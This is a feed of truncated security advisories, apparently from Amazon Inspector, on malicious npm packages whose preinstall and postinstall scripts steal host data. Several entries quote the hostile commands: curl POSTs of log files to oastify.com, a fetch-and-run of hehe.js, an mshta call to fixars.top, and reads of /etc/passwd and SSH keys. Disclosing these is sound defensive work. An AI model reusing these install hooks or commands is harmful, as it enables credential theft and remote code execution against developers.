Malicious code in zomato-mcp (npm)

Source: amazon-inspector a23c3c63a9064636250be7dffa3781af0f9cdfcfd11a8da875be470c6952033e On npm install, the package's preinstall lifecycle script runs curl against http://d8s0b82plbq3u5sb2vo0sb3a9obr4yjt7.oast.site/install/ carrying the installer's hostname -f, whoami, current working directory...

Malicious code in @outmarket/ui (npm)

Source: amazon-inspector 7241a2e167db383267fa82ce9660a44f7bcca4b6d4f11bb7ca85eaa6b432a47e package.json declares a postinstall script that runs automatically on npm install and performs require'https'.get... to a Burp Collaborator subdomain 7rzjsf29azci2qjsm6kxt23ag1mtanyc.oastify.com, passing...

Malicious code in sn-internal-testjgsakjdkjadkjah (npm)

Source: amazon-inspector fd1a751946e8be92bbd0b675c57b3389e1e54919a69f5f6fef414a16cc2f1261 package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, this downloads JavaScript from poc.amanrawat.com over an...

Malicious code in test-package-sajsdkashdj (npm)

Source: amazon-inspector 62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87 package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and...

Malicious code in bug-monorepo (npm)

Source: amazon-inspector bdac6ea5e7530323f39451c43fc9e4693b30704a5f9e9287018c727a44c36a5d package.json declares preinstall: node index.js, causing index.js to run automatically on npm install. The script collects hostname, username, home directory, DNS servers, and the full package.json, and read...

Malicious code in decimal-format-utils (npm)

Source: amazon-inspector 864677541e3090100ca588a37d8eb525f74817ade2fce5cb3e265af45b0c4e9a The postinstall script scripts/sync-peer.cjs runs npm pack [email protected] or whatever version is configured via BACKUPTARGETVERSION/BACKUPPAYLOADSPEC, extracts the resulting tarball, overwrites...

Malicious code in hyperpure-core (npm)

Source: amazon-inspector 47dd43b980c7b5e3230ee57e6974d40804e54997ed88877ced301402dbcdef4c Package impersonates a Zomato internal namespace name hyperpure-core, repository URL pointing to github.com/zomato/hyperpure-core while shipping a 63-byte stub index.js that exports nothing functional. The...

Malicious code in logfmt-core (npm)

Source: amazon-inspector bb22b2557674e7d616805d8a4086d69e02896be169b9e5d4d053eb3628ebe038 On npm install, scripts/install-check.cjs registered as a postinstall lifecycle script fetches a JSON config from a hardcoded anonymous Vercel app URL...

Malicious code in openllmapi (npm)

Source: amazon-inspector 9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41 The package's preinstall lifecycle script preinstall.js line 3 runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled...

Malicious code in easy-string-kit232 (npm)

Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out...

Malicious code in dttsdee (npm)

Source: amazon-inspector 56d01c47d29d1f8f25a737be42dd77d02a2c13a00afb808740142197a79150e9 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-25.log" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data...

Malicious code in easy-string-kit (npm)

Source: amazon-inspector 8cb77d96cfd133340395df1765df2426f8414d80158e62ee5832ab6d4a18e803 package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl POST requests harvesting cloud-instance identity and credential data from /data/ paths...

Malicious code in dddooo (npm)

Source: amazon-inspector 31763ebf0ebdd35b636e728b408f41ff8852cddeb34db5e188dc17c8374c6948 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-16.log" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data...

Malicious code in js-price-client-node (npm)

Source: amazon-inspector 763a44df6481ee1948ff9fda0b3997a93001acb138b7bbcba1787c3f2f8699f2 On npm install, the package's postinstall script invokes prices in dist/index.js, which resolves the consumer's project root via process.env.INITCWD?? process.cwd, reads .env with fs.readFileSync, parses it...

Malicious code in dtxtools (npm)

Source: amazon-inspector de085e4b6d38025a5a0b959b19b1022deaa7525b427e66679b58b6892328297a package.json declares a postinstall lifecycle script that auto-executes on npm install. The hook performs a recursive filesystem search for database client binaries mysql, mongo, mongosh, psql, redis-cli,...

Malicious code in dttfdsdee (npm)

Source: amazon-inspector ae565bed85ec0db27f1ff658c7e9491591ce40edc56f423cd8b1122bc209c69c package.json declares a postinstall script that runs automatically on npm install. The script walks the entire filesystem with find to locate database client binaries mysql, mongo, mongosh, psql, redis-cli,...

Malicious code in @help-forms/application-aff (npm)

Source: amazon-inspector ab5ab5493acb5b3ffcab7f80dbdf34e1485bbe5d5d03978949199cdabf6f676a @help-forms/[email protected] ships a heavily obfuscated postinstall script scripts/postinstall.js, obfuscator.io fingerprints: rotated string array, base64+decodeURIComponent decoder, hex-named...

Malicious code in @remitee-money-transfer/rmt-base (npm)

Source: amazon-inspector 5f21c6601855c2f2d0a5d0761d3defe8c0ba1708dd2a67fb278c03e0abd6ba16 Package ships only a preinstall lifecycle script scripts/preinstall.sh and no functional code. On npm install, the script reads /etc/passwd and /root/.ssh/idrsa, fetches the host's public IP via ifconfig.me,...

Malicious code in lc-chatbot (npm)

Source: amazon-inspector 81ca324fdc9c4ba5536abcd43972f1a506f4af99ace29447b66a17947b1b8606 package.json declares both preinstall and postinstall scripts that run node callback.js, so the callback fires automatically on npm install with no user interaction. callback.js collects identifying data fro...

Malicious code in insomnia-plugin-poc-m4gester2 (npm)

Source: amazon-inspector 1b2b63f22e7d0d8f23c608a3c109163e06e2bd6a1dd716305e0d8adaf6be6b86 Package ships only a package.json with no plugin code, declaring a postinstall lifecycle script that runs echo PWNEDBYDEEPLINK /tmp/pwned.txt on every npm install. This writes a marker file to the installer'...